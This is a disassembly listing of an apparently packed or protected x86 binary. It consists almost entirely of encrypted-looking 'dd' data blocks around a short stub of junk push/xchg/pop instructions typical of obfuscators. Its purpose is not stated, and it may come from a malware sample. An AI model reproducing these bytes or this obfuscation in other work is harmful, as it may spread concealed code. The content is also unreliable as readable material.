dd 836B6h, 9AC60000h, 0D7C08E5Ch, 7E561B1Fh, 1598DBE1h
dd 2129B9A2h, 0A4AA6247h, 4C63C050h, 5CBA6129h, 0D9BD972Eh
dd 1D231A1Fh, 5594ABFEh, 0D5DA927Bh, 3237F1D7h, 908A903Bh
dd 0ADD9F0AAh, 9E9730AFh, 99FB0168h, 2227E1C7h, 0D2E946CAh
dd 72A4CFAFh, 1DF64926h, 0E6179B06h, 4688B69Fh, 0BA00000Dh
dd 2CFE18D2h, 0A1738D45h, 18EA04BCh, 8B5D772Fh, 80D5EFA9h
dd 4600E257h, 0BC765A2Ch, 35EDD0A2h, 0A963491Bh, 0A1C4AF8Fh
dd 21D37F10h, 2B5AF466h, 9A748B45h, 0FDF4F9B1h, 0C6ACAAF7h
dd 0A1347DA0h, 8B4A29BAh, 0BAA14968h, 37E23529h, 0F712878Ch
dd 797F391Dh, 1551AF04h, 3E5434E6h, 777h, 0F04FD188h, 3A779AD9h
dd 1729BAA1h, 31005F6h, 0BF9659h, 0B9F9D4DDh, 0AC57AA29h
dd 3B2447A6h, 0BB2E5D12h, 91775168h, 2C31E9D0h, 9E708A35h
dd 0B2F9FEB8h, 21D2E4FBh, 465DDA46h, 72C75B23h, 0B18ADD26h
dd 0E61739A0h, 9626543Dh, 6A00000Ch, 0DCAEC882h, 51233DF5h
dd 0C89AB46Ch, 3B0D27DFh, 30859F59h, 0F6B09287h, 6C260ADCh
dd 0E59D8052h, 5913F9CBh, 51745F3Fh, 21D37E60h, 2B0AA416h
dd 88868B45h, 6EE3E8A2h, 0C0F11453h, 0B629BAA0h, 8BE85D63h
dd 641E02DCh, 0E62A585Eh, 0D4455434h, 8F000006h, 0BAA0D0E2h
dd 90AF7129h, 0BA465679h, 0E93C2E5Dh, 5112F8D2h, 0B7AEB36Dh
dd 3A20F20Ch, 0D9DE9679h, 462037E2h, 0ABA2A75Fh, 100058A5h
dd 676C260Ch, 8BAEC570h, 267392EFh, 0F4575D09h, 690126FFh
dd 716AE5BEh, 927BE617h, 0BF464h, 6A240C00h, 0DF977E50h
dd 560EF3C5h, 0C9816A3Ch, 41FBDDAFh, 34E9D227h, 0AC7E9852h
dd 22F40EC8h, 9B6D873Fh, 1E1FBB5h, 7DBEF316h, 46B821D3h
dd 6487C6ACh, 29BAA14Dh, 0D6D0D629h, 333136F0h, 0F0AA8C4Dh
dd 58FD9BEBh, 0C6C8B11h, 49B1B661h, 7359A300h, 85C19FB9h
dd 0AE5434FFh, 17Ch, 1F452BF8h, 0BAA0B5FCh, 4901E629h
dd 1C764D44h, 2BD68139h, 88422826h, 0FBB59771h, 97F9FFF6h
dd 6F86A56Bh, 5AA7B24Ch, 6C71C42Eh, 0DA9A8825h, 0FF54B521h
dd 0D4E065A1h, 558E53h, 0D1D80000h, 9AD9F04Fh, 0A079385Bh
dd 0B20529BAh, 0BAA0FAB7h, 7F318429h, 7EDDE39Dh, 5AA0975Bh
dd 898EE12Eh, 0A96A4C26h, 0D0409C3h, 94195C62h, 0A921DA9Fh
dd 0B5FC1F5Eh, 0C121DA9Fh, 9EF3686Eh, 3A48BBE7h, 0C38640F6h
dd 70762E11h, 0D4953C6Ah, 0D25753h, 2BA10000h, 0E59D8445h
dd 5537353Ah, 2245849Bh, 29BAA08Fh, 0CB13BE7h, 0C0823F9Dh
dd 0C4C20F15h, 813B1DDEh, 4B6E857Ch, 29BA5366h, 0D12BD10h
dd 9E16290Fh, 730AA8DAh, 0A1D8F29Dh, 252AE2C7h, 82874127h
dd 97DAE08Bh, 29B9E630h, 0EDA58C66h, 0B7DAF1E8h, 29BA11FAh
dd 312B3184h, 0AF02254Bh, 0C729BA11h, 27DFC274h, 69802B22h
dd 0D8EFA98Fh, 0BA11FCB5h, 292F8229h, 0B6759BC7h, 89807C9Fh
dd 0A3F62E57h, 16D0B28Ch, 8E482AFCh, 0F1D640B5h, 3E6C55EDh
dd 0A6Dh, 0D7F1AB93h, 4C661E05h, 0C3DD957Ah, 365008F1h
dd 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h, 3C22F40Eh
dd 9D886882h, 0D37C377Ah, 33CD3F21h, 758F492Bh, 19FCBDA3h
dd 0A29CB661h, 868B452Bh, 0A7664923h, 575C07C1h, 7A605A60h
dd 0ACA4A6C0h, 3A000004h, 0D9F04FD1h, 5A92B4B6h, 0D2D72A2Eh
dd 0DA6F228Bh, 65BA1B21h, 0D4D8DB07h, 55ED1953h, 0FC9AF10h
dd 0F8CA8F0Bh, 20F6EF2h, 0A17B0000h, 0A0106BEh, 0ECC6E204h
dd 5484E08h, 29BAA0AFh, 9CB370A0h, 5DBA0979h, 0F6A3CF2Eh
dd 7CC21856h, 0CD203F45h, 3CF6DCB6h, 2A0CE625h, 79746B70h
dd 21D2EC38h, 4802E43Eh, 0FE35979Dh, 0BE4F8CD2h, 787E6F0Bh
dd 0D9DE987Eh, 89A09F81h, 0A8D61E4Ah, 0C30F7C00h, 0DA007ABDh
dd 23762672h, 177BDB4Ah, 0DD0BF4E6h, 985h, 0BFD9937Bh
dd 344E06EDh, 0ABC57D62h, 1E38F0D9h, 96B06A4Ch, 0C1A39841h
dd 371BED07h, 0AE91637Dh, 240ADCF6h, 8570506Ah, 0D37B4F62h
dd 1BB52721h, 868B452Bh, 0F0C1E423h, 8629BAA0h, 0E59F8133h
dd 0E9E3E9E0h, 0DC444903h, 33EDCFA9h, 0DCE19B81h, 156ADFE5h
dd 485A325Eh, 5C874DE4h, 0BC765C56h, 2DE7CBA5h, 0BBE7C527h
dd 0F9543423h, 7D833D1Fh, 130F9h, 452B4300h, 0DEE39B84h
dd 4B253CE7h, 5CA9AF69h, 2F52785Eh, 29BAA082h, 0E6A5A9FCh
dd 4D4A20EFh, 0C1F812BDh, 3DF20595h, 4127C56Dh, 0E08B8287h
dd 9D9A86DAh, 0EA9B6386h, 439D2E59h, 0A79EA35Dh, 0FDB0F7FCh
dd 4021D9E5h, 0FE2C82DFh, 1953D45Dh, 50h, 6487C663h, 29BAA14Dh
dd 7CD0D629h, 5D809794h, 2E5AA095h, 0C53D3FEBh, 675F1C29h
dd 3D70B7BCh, 21DA7Eh, 0B993429Fh, 11171DD7h, 53D4C9D5h
dd 9AFEh, 0A9CC0B00h, 21DA7208h, 258CAF6Eh, 5121DA72h
dd 193C53FEh, 21DA7198h, 63858BDEh, 868B452Bh, 0E7ECA688h
dd 444903E9h, 8CA66046h, 0BAF24671h, 0C9836929h, 9E9D83AFh
dd 0C5986487h, 9BEE2E57h, 0EC8AA84h, 2D4022F4h, 84981DAEh
dd 97701BE7h, 0EDF1CE2Eh, 2E34624Bh, 0D2000008h, 441630EAh
dd 0B98BA55Dh, 30021CD4h, 0A3758F47h, 98ED07C1h, 5E18FA2Fh
dd 0D48E7244h, 4D05E8BAh, 0C17B6133h, 0B9DCC7A7h, 21D379F8h
dd 2B720C7Eh, 9E788F49h, 2F9FEB8h, 0E2C89AFCh, 2B140E28h
dd 88868B45h, 0CCCEE8A2h, 273h, 0F04FD162h, 5F19FFD9h
dd 0FE5D635Ah, 5DBA61DBh, 0BFC4172Eh, 0D3863578h, 0E3BD0821h
dd 0CC414701h, 0F1ED1977h, 30653D3h, 13000002h, 0A937FDE7h
dd 0C9CECB5Ch, 0FBB8BC97h, 86A8AE7Bh, 0BAA0D2E2h, 8EAD7329h
dd 5E0C3877h, 1ECF5082h, 0AB89CCD2h, 912E5D55h, 0C1F01352h
dd 0BD21D322h, 23426F6Ah, 0E93C21D3h, 5A71C4E3h, 0C6E09A80h
dd 4F540EF4h, 0DD29C0ECh, 26C7E107h, 0E744CC20h, 436E91D0h
dd 3B21D388h, 6083E2E8h, 2673951Ah, 0F5482174h, 6E616B6h
dd 747EF1Dh, 0D1B90000h, 442BFD17h, 0BBA0728Ch, 2E17E903h
dd 0A88A5C76h, 567FD4EEh, 2B45FFE1h, 0A1BB7559h, 1A34ECCFh
dd 8EA86248h, 11A0C3AEh, 6D21D379h, 452B61FBh, 0A288868Bh
dd 0EF7D1E8h, 435A5156h, 0BAA09120h, 949AED29h, 3996DF47h
dd 12CCB08Ah, 1610160Dh, 255C7630h, 0A0EEC3E6h, 358829BAh
dd 0EAFD292Fh, 2B165434h, 23000001h, 0A8AD6749h, 2B89ABB1h
dd 48748B45h, 0C6A668A8h, 6535924h, 4E682208h, 9E563D17h
dd 5FDC4498h, 0B1D92548h, 0C5F2E59h, 0ADEDC007h, 0EF5021D9h
dd 150E3C92h, 422953D4h, 73000000h, 6E974FD1h, 28E985Dh
dd 2C4F6611h, 2E5A46C6h, 0C3B1C4F0h, 5D611B01h, 0A7590F56h
dd 0E5040AC2h, 67468D92h, 0D621D9ADh, 10C8B18Bh, 0E238950Ah
dd 53D41EA4h, 9DCFh, 1B02DC00h, 61675E63h, 8B452B3Fh
dd 0ECA68886h, 665884E7h, 7E9A20D2h, 270D070Dh, 846A686Dh
dd 1027E1C3h, 0B9A1C4EDh, 0BC67BA29h, 0DC2087A2h, 957B29B9h
dd 8B95C1DBh, 8A7295ACh, 0C02E5793h, 38C23694h, 0D4DACAC7h
dd 0C4B62B5h, 92974F32h, 0B99B959Bh, 3113E5FFh, 3A519E77h
dd 7D66EDF2h, 6044Fh, 5A14FC00h, 0CF876E40h, 46FEE3B5h
dd 0B9715A2Ch, 31EBCD9Fh, 2419C217h, 9C6E8842h, 12E4FEB8h
dd 8B5D772Fh, 0F1D1EBA5h, 77CEE306h, 36A821D3h, 8F492B9Ch
dd 3BDA375h, 452BEFE9h, 0E423868Bh, 0BAA0F0C1h, 2D338629h
dd 79934D33h, 4677h, 452B0D00h, 0A288868Bh, 3C40F8E1h
dd 63B2809Ch, 868B36CBh, 92B5F413h, 29B9F41Fh, 5204AB57h
dd 69C13E3Ah, 0EE43B8BEh, 687B5D37h, 0E64D3823h, 393EE932h
dd 66563E42h, 5737C000h, 0B7715751h, 319B9Dh, 2B310000h
dd 3F868B45h, 29BAA16Fh, 8C91492Eh, 0EAEFA78Eh, 276AC7F4h
dd 2197C31Eh, 0B54D4D78h, 0A5AA6247h, 88FD03AEh, 3AFBE12Bh
dd 9F969B53h, 2BE0DAF4h, 2E868B45h, 0EF2E45E2h, 70752F15h
dd 0F0307379h, 662E5DB9h, 862D84A7h, 0F64921D3h, 3E390CF2h
dd 0B8630F50h, 643662A1h, 4231DE0Fh, 711CD4BDh, 0D18B716Bh
dd 45FFE5B7h, 0B971542Eh, 20E66B3h, 0EAEB0E25h, 4C26760Bh
dd 2208E2F9h, 967C4E68h, 3574D7DCh, 0B9EB9F12h, 601AFC29h
dd 3A8D645Bh, 8730E034h, 80DC7ADh, 0EB9B1611h, 89E329B9h
dd 943FEAA2h, 7F643E7Dh, 0C5CBC2C7h, 59CEF082h, 0DAB3062Eh
dd 0EDF03093h, 0AE95C3ACh, 52000004h, 0C496B06Ah, 390B25DDh
dd 0B0829C54h, 23F50FC7h, 186D8741h, 0DE987AAFh, 540EF2C4h
dd 0CD85683Ah, 41FBE1B3h, 395C4727h, 21D37578h, 2BF28CFEh
dd 3A718B45h, 0BBC07A60h, 0DEC4BEC4h, 7DBC1F24h, 0BAA1575Ah
dd 0C6CC1F29h, 272CE6CCh, 734D8CBFh, 0D7CED38Dh, 0BAA0D5DCh
dd 484EA129h, 462C7ED3h, 0B59B758Ch, 0F9FFF6FBh, 0EA8DB997h
dd 4FA65434h, 0B3000000h, 383DF7D9h, 94FFB2D5h, 247729BAh
dd 5AAE7579h, 5832F198h, 4FD13052h, 1FB6D9F0h, 972E5AEFh
dd 70532D44h, 3B679EB8h, 6FACEF82h, 0D1141A7Fh, 21D9DEDEh
dd 0A21DBC1h, 97394C30h, 0DD06C796h, 86E8EE99h, 1419D1B4h
dd 3ECE6h, 452B7C00h, 0A288868Bh, 7EA2CEE8h, 7787AAC1h
dd 12E5AA7h, 15E46D55h, 0D17CF4EBh, 1C2885CCh, 0CA1521DAh
dd 4B5109F0h, 0E72379D6h, 3553D463h, 0B5BA725Bh, 13822F52h
dd 0A9FC21DAh, 4F74F8FEh, 81000000h, 50BC5A7h, 0F04FD1E3h
dd 416E9AD9h, 2CE4CDE9h, 2560A228h, 0EF16DC1Fh, 0A1602E59h
dd 262BE5C7h, 0F07D342Fh, 0A6F921D9h, 4FE51DA2h, 0BE690366h
dd 0D43B72B9h, 0A10221D9h, 27B0EE4Ch, 0F1DB53D4h, 0E8000000h
dd 0C82B86A9h, 5321D9h, 452BD8FAh, 0A688868Bh, 4045FFE5h
dd 0AD879E49h, 6B2308C9h, 0BFC46F66h, 3024C4C8h, 8FFB040Ah
dd 583E3C89h, 5C36999Eh, 0BDB7BD75h, 7B3316D7h, 407FB6D0h
dd 0BA61941Dh, 9197EA29h, 0BA66894Eh, 86402629h, 0FAB49A6Ch
dd 0B4739DF5h, 4A38719Dh, 586CCD02h, 56D0F352h, 102E59DDh
dd 0ED7AA6BDh, 0AD2FBFB3h, 251AE917h, 0BB6FA25h, 0A977A305h
dd 0A650738Ah, 0A026779Ah, 0D819D674h, 353B28A4h, 0D2ACC316h
dd 0E01F36F0h, 0B87FF4BDh, 0A8CB8A29h, 29B88009h, 71772275h
dd 0A15B3D0Fh, 11C207C8h, 8DBBA4E6h, 2B5h, 8FA9634Bh, 41ED6BDh
dd 7B954D32h, 0EE08C0A9h, 66803A1Ch, 9173A811h, 7EBBDD7h
dd 7E61334Dh, 0F4DAACC6h, 5540203Ah, 0D3737F32h, 0EB85F721h
dd 758F492Bh, 0E903BDA3h, 3DF5D8B2h, 193B4138h, 0D9F04FD1h
dd 5AA03CB6h, 0C2A8822Eh, 60C0308h, 488F94E7h, 21DAA065h
dd 0C41A77D8h, 53D4EB86h, 0CCB1h, 2E4BE00h, 2B204248h
dd 23868B45h, 0A8AD6749h, 0CFB1ABB1h, 0D3AD1015h, 382F34ECh
dd 0E1E6A086h, 36A1E4EAh, 0B929BAA5h, 0C30219D3h, 4E4903E9h
dd 29BA9D63h, 60C2C81Bh, 0E9EEA88Eh, 99B08F91h, 5A7EB076h
dd 3C53A62Eh, 34577B62h, 21DA797Dh, 0F5FBA6F9h, 7AB96793h
dd 0F1174063h, 156F2677h, 0D28C7031h, 8B657C27h, 0FED8EFA9h
dd 0F5575D15h, 45FDE4BEh, 49434940h, 29D4AD67h, 0BAE6123Fh
dd 1CBA3D1h, 4D350000h, 0C0A77993h, 371CEE08h, 0AA93657Fh
dd 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh
dd 0A24DEC4h, 951C3F2Ah, 0E121D372h, 492BD56Fh, 643E758Fh
dd 71C1C680h, 3C04333Ah, 0DAE08B69h, 2640FAE0h, 3ECC62Ch
dd 654B454Bh, 6166452h, 0A04B20F8h, 0FDB79D9Bh, 712B11E3h
dd 4D2F096Ch, 0D7398D93h, 0A01E4158h, 162E5A64h, 0E19B7D57h
dd 0DA5ACBE6h, 0F307B321h, 0CC48DB04h, 0E2F9A44Fh, 676D2508h
dd 7B331C1Ah, 0D8927876h, 0D62B60D3h, 39E49E84h, 0BB0D628Fh
dd 2A041BD5h, 24868C46h, 210428F8h, 0C26D6469h, 0A9926CABh
dd 0EFF5ECF1h, 7A17BAACh, 0E4E93C26h, 593F00E6h, 51FCB698h
dd 949E9A4Dh, 974269C7h, 9FB29492h, 0BF2DACF1h, 3035E020h
dd 92974F32h, 4A95EA1Fh, 0ED91EE23h, 0CAED0423h, 2E5A0B9Ch
dd 0DF9780DAh, 1E38E3DAh, 0A7AC664Ch, 3E1C1844h, 0A0048E2Ah
dd 51097DDFh, 107B2E5h, 556C2407h, 0D8DD977Bh, 934D2FE1h
dd 1D4A408Dh, 543711C0h, 9AA0979Ch, 0E600BAA0h, 0C2D956BAh
dd 0BC5A983h, 671F0806h, 0BAC06B62h, 7A824777h, 797ED126h
dd 0D6DB957Bh, 0B25EB3E0h, 7BBAD16Eh, 0D553594Fh, 898F1C0Ch
dd 5A697846h, 91ABFE2Eh, 657CBB65h, 56AE0326h, 75C821DAh
dd 0E4ED106Fh, 1A267D70h, 0D808EEEEh, 50B1694h, 908E93E6h
dd 4D6F0AAh, 0DCD5F81Eh, 0A229B346h, 589FA44Fh, 518DF02Fh
dd 0FB4DA2D7h, 2C15EF15h, 0F0387974h, 0EB3EB191h, 6E542640h
dd 325E9DB4h, 6B059A3Bh, 0F0C1BC1Ah, 86B1928Dh, 0E2E02D33h
dd 463C41F9h, 8C72C419h, 842FE9CBh, 0F8B2986Ah, 3C5F3h
dd 245B0000h, 89432B66h, 0E6A08684h, 4800E3E1h, 0A7614543h
dd 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h
dd 0B6686D7Eh, 89000018h
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 7047h
mov [esp], ecx
sub esp, 4
mov [esp], ebx
mov ebx, 7E71C4Dh
mov esi, ebx
pop ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 6E87h
mov [esp], ebx
mov ebx, 8
add ebx, ecx
mov [ebx], esi
pop ebx
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_554887
; ---------------------------------------------------------------------------
db 2Fh, 0EFh, 0FFh
dd 0E72FFAB8h, 0FFC50307h, 1D2C6EE0h, 0E5E2213Ch, 52B04C6Dh
dd 79851851h, 1BF8794Bh, 1C25213Fh, 0B8996554h, 3E480032h
dd 6083125h, 0BA496511h, 85581032h, 0C61E7749h, 0F03A043Bh
dd 0ABD71241h, 0E7D8F714h, 0CE59E743h, 0DB56D86Ch, 58955422h
dd 0B9873252h, 9CB43B28h, 25DDD709h, 867C2257h, 208DD268h
dd 39046B0Ah, 277FE558h, 5C6BA313h, 9B7A3801h, 0AD836252h
dd 5E810h, 464A0000h, 663FC0F9h, 0ABA4DE81h, 0AE95Fh, 0F9350000h
dd 30AFE915h, 4EE59C6Dh, 64DEC781h, 68F90000h, 190Eh, 0B8BE6659h
dd 5837FF49h, 18A0Fh, 81F50000h, 0DB3F1CE8h, 23BB6611h
dd 2DE8813Dh, 0F20AC20h, 28Ah, 8197B700h, 2C57F7F0h, 50F28B64h
dd 8E38166h, 0F078FABh, 581h, 357BB00h, 0EF834AD7h, 0AE64BB04h
dd 0F495F28h, 1E85h, 38D0F00h, 0F000000h, 25E9D8B7h, 10000000h
dd 233B6E9Dh, 25AC0F00h, 7DFA9DC4h, 66547894h, 5001D681h
dd 0FFFF8CE9h, 99A103FFh, 0BC8C8CFCh, 803AAC2Eh, 75985C6h
dd 685607E0h, 0A9C530DFh, 292DB5FFh, 858D07E0h, 7E37FE8h
dd 8D8DD0FFh, 7E00585h, 0FF406A51h, 0E0209DB5h, 0E9B5FF07h
dd 0FF07E023h, 9DB5FFD0h, 0FF07E020h, 0E023E9B5h, 0EE807h
dd 0B9160000h, 851C15Fh, 1A40D0FEh, 0B723FA8h, 0EA835A5Ah
dd 242CC104h, 2424C102h, 24140302h, 0BF241CF7h, 0
dd 813A0C8Bh, 0A57DF7F1h, 96C18139h, 815B6B28h, 0D296ADC1h
dd 3A0C897Ah, 0CECEEF81h, 0C781638Eh, 638ECECAh, 0F243C3Bh
dd 0FFFFD385h, 0ED9D8DFFh, 8B07E001h, 0FC00B03h, 784h
dd 8B038B00h, 1889045Bh, 5E8C98Bh, 0FF000000h, 3A2D71E0h
dd 4890Fh, 0BE660000h, 6658F653h, 81E05ABAh, 61F0C0h, 3800F00h
dd 0F000000h, 68D1BFh, 8B000000h, 800F59D8h, 18h, 0FE8h
dd 5A4F7600h, 25925D14h, 2FBD3C6Ah, 91D126D7h, 5BDA8B66h
dd 66083C8Bh, 0EF81D98Bh, 7CE29FA2h, 2EF5B960h, 8E8661Ch
dd 0C8000000h, 2E5CF9AAh, 5005740Ch, 81615E5Bh, 934798F7h
dd 28D0F71h, 8B000000h, 31EF81D0h, 0E8435530h, 0Eh, 6FEBB6C9h
dd 0F4414B4Ah, 60AE3B4Bh, 0DE94007h, 36000000h, 1E267A05h
dd 0B2130FCDh, 6E1C211Eh, 83C895Ah, 1C82F281h, 0BF0F1DDAh
dd 2E983F3h, 58E38166h, 0F494969h, 68Dh, 890F00h, 81000000h
dd 0FF9F14F9h, 13850FFFh, 60000000h, 51A9E381h, 0E96157EAh
dd 27h, 62FF123Ch, 0F60D5D1h, 38Bh, 0C9B70F00h, 92C08166h
dd 4DE961AEh, 0DDFFFFFFh, 0DC119474h, 0E641CDF0h, 0E9ABF6A0h
dd 25h, 0ADF64AFh, 8 dup(0)
dd 50EE900h, 8B680000h, 0E907E734h, 0FFF94D4Fh, 0E7351D68h
dd 4D45E907h, 8668FFF9h, 0E907E736h, 0FFF94D3Bh, 0F29E3CBh
dd 849E563Dh, 0FB15CDB2h, 6E884029h, 0E600BA9Ch, 11F32891h
dd 876B3D57h, 0FEE1B3CDh, 745A2C46h, 0D5C0A0BAh, 0D36DFFB2h
dd 2E057721h, 0EDFFCE02h, 0D360E7CAh, 383C8F21h, 0F0A2F2FFh
dd 2A4C520Ch, 788F492Bh, 259D1B4Ch, 0FB01917Eh, 10CAB0AEh
dd 0E946CAF6h, 19A7AFD2h, 0CE212E5Ah, 122B82C9h, 897021DAh
dd 0E5CECCD1h, 41F6282Dh, 3091A1ECh, 0B7F824D3h, 517491DEh
dd 87C3C9CFh, 0B053D44Bh, 324h, 0F0B0B3FAh, 0ADEC0320h
dd 2D33EDD3h, 5AA57CEAh, 784EFA2Eh, 2C3FF201h, 230ABF6Ah
dd 0CCFF8223h, 6C83A070h, 0D56C6549h, 1D671333h, 0B52C49D5h
dd 8FE7EC97h, 688BA281h, 30F4B35Dh, 143F6D99h, 2D3B9A07h
dd 9EB50827h, 0D24DEC4h, 0AD915033h, 0E04248F3h, 956E280Eh
dd 0E095969Dh, 66A3D1BAh, 0B6000003h, 28FA14CEh, 9D6F8941h
dd 14E600B8h, 8759732Bh, 7CD1EBA5h, 42FCDE53h, 0B8725628h
dd 31E9CC9Eh, 0A55F4517h, 9DC0AB8Bh, 21D36D14h, 0D15EF86Ah
dd 0B6D9F04Fh, 2E5D91B3h, 2889ACEBh, 4E21D36Eh, 17D6F5FBh
dd 0D36DBDF4h, 4F66B921h, 0D36D852Ch, 0F39EF121h, 5F2002DCh
dd 20D8BD7Ch, 7479241Bh, 0E1BBD27Dh, 494045FFh, 2D0FE143h
dd 6DCDE407h, 56A921D3h, 6943A6ABh, 0CEC5CA82h, 2B4785C8h
dd 0FCE2CE5Eh, 6C876942h, 0AF98DE28h, 2D481h, 0A6604800h
dd 1BD3BA8Ch, 924A2F01h, 5BDA678h, 7D3719EBh, 70A50E63h
dd 0E8BAD48Eh, 5E304A04h, 0D7A9C37Bh, 3D1D37F1h, 6B822F52h
dd 8AFC21D3h, 9ECC6F0h, 4F554C51h, 0FF1615FBh, 5D918DDCh
dd 0CCAF892Eh, 12180F14h, 389BA0F3h, 10C27C5Eh, 746B702Ah
dd 6D822B6Eh, 5ABB21D3h, 0D57BA705h, 0C99453D3h, 0DE000001h
dd 868B452Bh, 0D1E8A288h, 0A1426F92h, 7D6129BAh, 9399ECC3h
dd 1C1B0531h, 0A71CE205h, 0C71A2E5Ah, 9B327BC2h, 0AA0B21DAh
dd 0DFC49E55h, 792B2227h, 0CED4DA92h, 53D4E090h, 45BBh
dd 4FD10500h, 5B9AD9F0h, 0BAA07938h, 0ACB20529h, 5AA08969h
dd 0F0D5AF2Eh, 822ED4DFh, 0EE999B0Eh, 7176C9E8h, 5ACCF0Eh
dd 7121DA46h, 0CD856C1Eh, 88CBD1C8h, 21DA4625h, 45AB718h
dd 53D4B1C6h, 0BAF1h, 452B3B00h, 0F723868Bh, 3BC23F84h
dd 7E787EE1h, 8CCBE29Ch, 0BA6F4869h, 0D5DB2E29h, 0EAA48A88h
dd 4701E7E5h, 0B8725630h, 54B6BCB3h, 0BA72B239h, 41674D29h
dd 0C5CA8267h, 6ADED3CEh, 459829BAh, 6AA60B2Eh, 7DD029BAh
dd 4281B8D2h, 0BA6A921Fh, 0A992EC29h, 0EC4046F1h, 0CDF00724h
dd 2E57E22Fh, 0CFFB1265h, 47CE04B0h, 0B3984AB8h, 0BC96F5FBh
dd 340620DAh, 0E3BF9852h, 0F8EDF267h, 16BE10Fh, 0C9B10000h
dd 3C23F50Fh, 0B3986A84h, 260FE1FBh, 0A082546Eh, 4E77CCE6h
dd 233DF7D9h, 99B36D51h, 122CE4C7h, 86A05A40h, 1998BBA6h
dd 6521D36Bh, 492B59F3h, 0BDA3758Fh, 2BEFE903h, 48748B45h
dd 0B88F37A1h, 775D0F71h, 76AB7BDh, 4B6689C8h, 3329B9D9h
dd 0D8CCE5E0h, 6B229B9h, 8EEAEF4h, 0CAD07B39h, 1930EAD0h
dd 0E18CC9EDh, 0D0B2762Eh, 6F1A1116h, 0F6D00769h, 5A515610h
dd 13100054h, 3FCD9FCh, 277A2E5Ah, 8B6AE410h, 0ADA72A14h
dd 2F0948A7h, 5FF33748h, 0C5D8B3Bh, 7F615B61h, 1D90ABC5h
dd 7E21DA7Eh, 0F2C4DE98h, 0EE515610h, 89702F14h, 2A2126D1h
dd 0AFFA24h, 27530000h, 8A2B3E03h, 0E5070D25h, 0D9F04FD1h
dd 0A13A779Ah, 0F14429BAh, 0FC698CEBh, 7A2E5D91h, 3E242227h
dd 0B2986A84h, 7ACF3F8h, 1F1C9BCAh, 5D4395EAh, 0D1B789A3h
dd 6D722C10h, 753C5F76h, 11EDB31h, 0FE03AEh, 0C4A30617h
dd 0AECC2D8Dh, 1D00FE03h, 7CDBD6F9h, 50A31EDBh, 0BFA2A0A5h
dd 1BD00207h, 0A4D17BC6h, 3659984Fh, 1EDB7C7Bh, 0B0AAB003h
dd 0BAF910CAh, 0DB7D1A97h, 6EDF371Eh, 0AC161B67h, 1A7C82D5h
dd 0A3A86248h, 50AA1440h, 0E785EBD4h, 4D444903h, 12729CA2h
dd 8000000h, 0E40AECC6h, 0BAA0F0C1h, 88338629h, 85868C83h
dd 89432BC7h, 0E6A08684h, 4800E3E1h, 0A7614543h, 8C2A4A2h
dd 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h, 89516D7Eh
dd 4C181E1h, 83000000h, 0C3304E9h, 240C3124h, 5C240C33h
dd 295668h, 24148900h, 5E08950h, 4, 42Dh, 24048700h, 241C895Ch
dd 33A0BD55h, 0EA8907E7h, 81242C8Bh, 4C4h, 1C8B5400h, 4C48324h
dd 31E168h, 24148900h, 0FF08438Fh, 815B2434h, 4C4h, 24148B00h
dword_5C0024 dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F9484EE9h, 4CDFF0FFh
; DATA XREF: ___:0043F2ACo
dd 0E73816B8h, 0FFC50307h, 40F5D9E0h, 0DD614531h, 9DD33B15h
dd 6DAD028h, 10E826h, 0CB160000h, 0A6F98412h, 0DB640941h
dd 0CBF04AD2h, 66573FE4h, 5FB476BAh, 0F6BA6658h, 85C0815Eh
dd 0E900006Fh, 11h, 17CA55E1h, 0EDB797E5h, 83B52DFAh, 639F9C7Fh
dd 685Dh, 0DF8B0000h, 7DBA5759h, 5F25750Fh, 8108348Bh
dd 4CDFAAEEh, 0DF81665Fh, 0C6813548h, 6E5C7A8Dh, 8A4AC681h
dd 11E97128h, 61000000h, 8B43F9DBh, 0C1670DE0h, 0E643689h
dd 0C6DAB8F9h, 0A00BB56h, 48F704Ah, 4FE28008h, 67BBBF66h
dd 6601E983h, 50D3EF81h, 66494949h, 81B6AEBAh, 0FF911CF9h
dd 0A5850FFFh, 66FFFFFFh, 8DBF75BAh, 0E739F68Dh, 0AE907h
dd 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah, 18B0E281h, 8D89458Eh
dd 7E01815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 5C35343h, 7E3C7D92h, 1B91B589h, 85C707E0h, 7E02049h
dd 6A40h, 1D099531h, 85C707E0h, 7E022C5h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1DC35343h
dd 34CE13CBh, 0BF668714h, 0B5FFFFF3h, 7E00F59h, 0FFF2BF0Fh
dd 0E0209195h, 89950107h, 6A07E001h, 0A995FF00h, 8B07E018h
dd 7919EBC0h, 88EA5051h, 997960E0h, 479E02A4h, 86984107h
dd 955E3966h, 7BB7B5F9h, 10E8h, 0A292C800h, 3164EF0Eh
dd 0C0C87901h, 1928B634h, 7E82Bh, 0D0DB0000h, 2BEF9BE7h
dd 0B9B5893Bh, 5E07E019h, 0D9BE665Bh, 0B5C381F6h, 66000074h
dd 0BAE30AB9h, 1CF5h, 33FFC78Ah, 5FC18B66h, 13E9h, 0CFE07D00h
dd 8E1FE852h, 0B6B44FF0h, 0DA5B6BA8h, 1AFAE887h, 4915F781h
dd 86B4449Ch, 0D981F781h, 850301F2h, 7E01BA9h, 9B87EF81h
dd 0B50139F5h, 7E033F5h, 85093B89h, 7E026B1h, 503EB81h
dd 816602BFh, 815D8ADEh, 0BF04FFC3h, 15858B02h, 8107E020h
dd 1EAh, 16850F00h, 8B000000h, 0E019FDB5h, 38E907h, 893C0000h
dd 33F1AC7Bh, 0B9C5ED78h, 12E86Ch, 49EE0000h, 88CFF61Ch
dd 0A84299AFh, 4551F4B7h, 1698F1E3h, 7FD9589h, 0E95907E0h
dd 0FFFFFF5Eh, 1097B82Ch, 0AC3F8269h, 12E8F4F5h, 0C000000h
